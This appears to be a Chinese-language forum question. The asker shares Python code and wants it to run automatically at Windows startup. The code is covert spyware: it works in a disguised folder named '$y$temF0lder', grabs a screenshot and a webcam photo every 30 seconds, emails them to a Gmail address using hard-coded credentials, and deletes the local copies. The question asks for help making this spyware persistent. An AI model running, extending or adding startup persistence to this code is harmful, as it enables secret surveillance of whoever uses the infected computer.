赞
踩
我写了以下程序,安装成功。现在,我希望我的程序可以在启动时启动,而不必手动将其快捷方式复制到启动文件夹,即C:\Users\User\AppData\Roaming\Microsoft\Windows\Start菜单\程序\启动。
我希望我的程序在启动时自动运行,就像许多商业程序(如uTorrent、InternetDownLoaderManager等)所做的那样。我怎么能这么做?
Python代码:import os
import time
import string
import random
import shutil
import smtplib
import pyautogui
from SimpleCV import Image, Camera
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
def make_folder(): #Checking if $y$temF0lder exists in C drive
if os.path.exists('C:\\$y$temF0lder'):
pass
else:
os.mkdir('C:\\$y$temF0lder')
os.chdir('C:\\$y$temF0lder')
cam = Camera()
def send_mail(): #Sending captured picture in my email
msg = MIMEMultipart()
fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = 'Photos'
text = MIMEText('Pic')
msg.attach(text)
screenshot_data = open(screenshot_name, 'rb').read()
webcam_data = open(webcam_name, 'rb').read()
send_image = MIMEImage(screenshot_data,
name=os.path.basename(screenshot_name))
send_images = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
msg.attach(send_image)
msg.attach(send_images)
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, 'P@ssword')
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
def main():
global screenshot_name
global webcam_name
while True:
make_folder()
name = ''
for i in range(10): #Generating random name of 10 character long
x = random.randint(0,62)
name += string.printable[x]
screenshot_name = 'Screenshot ' + name + '.png'
webcam_name = 'Webcam ' + name + '.jpg'
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
web_pic = cam.getImage()
web_pic.save(webcam_name)
send_mail()
for file in os.listdir('C:\\$y$temF0lder'):
os.remove(file)
time.sleep(30)
shutil.rmtree('C:\\$y$temF0lder')
if __name__ == '__main__':
main()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。